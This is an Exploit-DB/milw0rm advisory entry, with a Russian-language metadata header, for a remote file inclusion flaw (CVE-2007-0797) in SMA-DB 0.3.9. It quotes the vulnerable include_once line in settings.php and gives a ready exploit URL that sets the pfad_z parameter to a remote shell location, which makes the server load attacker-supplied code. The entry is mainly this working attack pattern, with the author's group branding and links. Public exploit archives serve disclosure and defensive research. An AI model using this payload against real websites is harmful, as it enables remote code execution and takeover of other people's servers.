Exploit SMA-DB 0.3.9 - 'settings.php' Remote File Inclusion

[Exploiter]

EDB-ID

3268

Проверка EDB

1. Пройдено

Автор

THE DE@TH

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-0797

Дата публикации

2007-02-05

********************************************************************************
To ConTacT mE:wWw.Asb-May.net/bb
ScRiPt:-http://people.ee.ethz.ch/~dmaeder/bluevirus/downloader.php?filename=U01BLURC&referrer=hots
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}>>
******************************************************************************
Settings.php:-
include_once($pfad_z."scripts/session.php");
********************************************************************************
ExPlOiT:-http://www.Site.com/theme/settings.php?pfad_z=[Shell]
********************************************************************************

# milw0rm.com [2007-02-05]